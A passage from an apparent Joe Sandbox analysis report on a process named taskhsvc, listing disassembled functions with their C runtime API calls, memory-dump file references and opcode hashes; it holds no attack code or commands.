                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail$strrchr$abort
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 1190921433-0
                                                                                                                          • Opcode ID: 66579e7a9f50e5bda4265d2dd713493584c4012d7d9c1ab2d9ce5f1f19f04bc2
                                                                                                                          • Instruction ID: 3d8bf6231989cae3f9fda10c87ecb4d239a4ba6c770d811770fcdfe2049317a3
                                                                                                                          • Opcode Fuzzy Hash: 66579e7a9f50e5bda4265d2dd713493584c4012d7d9c1ab2d9ce5f1f19f04bc2
                                                                                                                          • Instruction Fuzzy Hash: 0011A2B89043099FCB00EFA9C58559DBBF1FF88300F019869E898EB341E774E9818F65
                                                                                                                          Function 00D411F6 Relevance: 3.0, APIs: 2, Instructions: 38COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                            • Part of subcall function 00D41197: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,00D41389), ref: 00D411EF
                                                                                                                          • __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00D39B54), ref: 00D4127B
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D36586
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D3659C
                                                                                                                            • Part of subcall function 00D36562: __stack_chk_fail.LIBSSP-0 ref: 00D36601
                                                                                                                            • Part of subcall function 00D39764: __stack_chk_fail.LIBSSP-0 ref: 00D39857
                                                                                                                          • abort.MSVCRT ref: 00D4125C
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail$strrchr$abort
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 1190921433-0
                                                                                                                          • Opcode ID: f6fa12222d1a70e7b67ce430854f3c05e9c11713fe1593b7914f7a7ccc016199
                                                                                                                          • Instruction ID: e1730b49aca68655a6b97ec62392bb50aeca0b310d2081f40eb319d518036952
                                                                                                                          • Opcode Fuzzy Hash: f6fa12222d1a70e7b67ce430854f3c05e9c11713fe1593b7914f7a7ccc016199
                                                                                                                          • Instruction Fuzzy Hash: 4601C8749043099FCB00EFA5C58259EBBF0EF48344F01D819E898EB245D778E841CF65
                                                                                                                          Function 00D35AA7 Relevance: 3.0, APIs: 2, Instructions: 36COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • rename.MSVCRT ref: 00D35B14
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00D35B24
                                                                                                                            • Part of subcall function 00D33842: __stack_chk_fail.LIBSSP-0 ref: 00D338B7
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail$rename
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 3041394036-0
                                                                                                                          • Opcode ID: 7405e0eb072a9053f064a8cd3072f4fd9774054bd259eb72d9c228281c2411fb
                                                                                                                          • Instruction ID: 50eda08973b2e77573c45a40e210a93ff872f2d355a9953bcdaa66635f962e5f
                                                                                                                          • Opcode Fuzzy Hash: 7405e0eb072a9053f064a8cd3072f4fd9774054bd259eb72d9c228281c2411fb
                                                                                                                          • Instruction Fuzzy Hash: 760172B4A087099FCB00DF69D94169EBBF1BB48344F41881AE898EB340D778E945CF62
                                                                                                                          Function 00D41144 Relevance: 3.0, APIs: 2, Instructions: 25COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                            • Part of subcall function 00D4107E: abort.MSVCRT ref: 00D410D1
                                                                                                                            • Part of subcall function 00D4107E: malloc.MSVCRT ref: 00D410E9
                                                                                                                            • Part of subcall function 00D4107E: exit.MSVCRT ref: 00D4112A
                                                                                                                            • Part of subcall function 00D4107E: __stack_chk_fail.LIBSSP-0 ref: 00D4113D
                                                                                                                          • memset.MSVCRT ref: 00D4117D
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00D41190
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail$abortexitmallocmemset
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 1546916363-0
                                                                                                                          • Opcode ID: fe248227663b2efa2049cf866ec211fcd423dc868e1f4dce572bb5a4e147b27f
                                                                                                                          • Instruction ID: d14cd47d61660063c49a9e1d8cecad6445417eab379117754e88e09ec4844995
                                                                                                                          • Opcode Fuzzy Hash: fe248227663b2efa2049cf866ec211fcd423dc868e1f4dce572bb5a4e147b27f
                                                                                                                          • Instruction Fuzzy Hash: C7F074B8E046099FCB40EFA9C4816AEFBF1FF48300F418919E964E7304D374A9428FA1
                                                                                                                          Function 00D372A4 Relevance: 3.0, APIs: 2, Instructions: 24COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
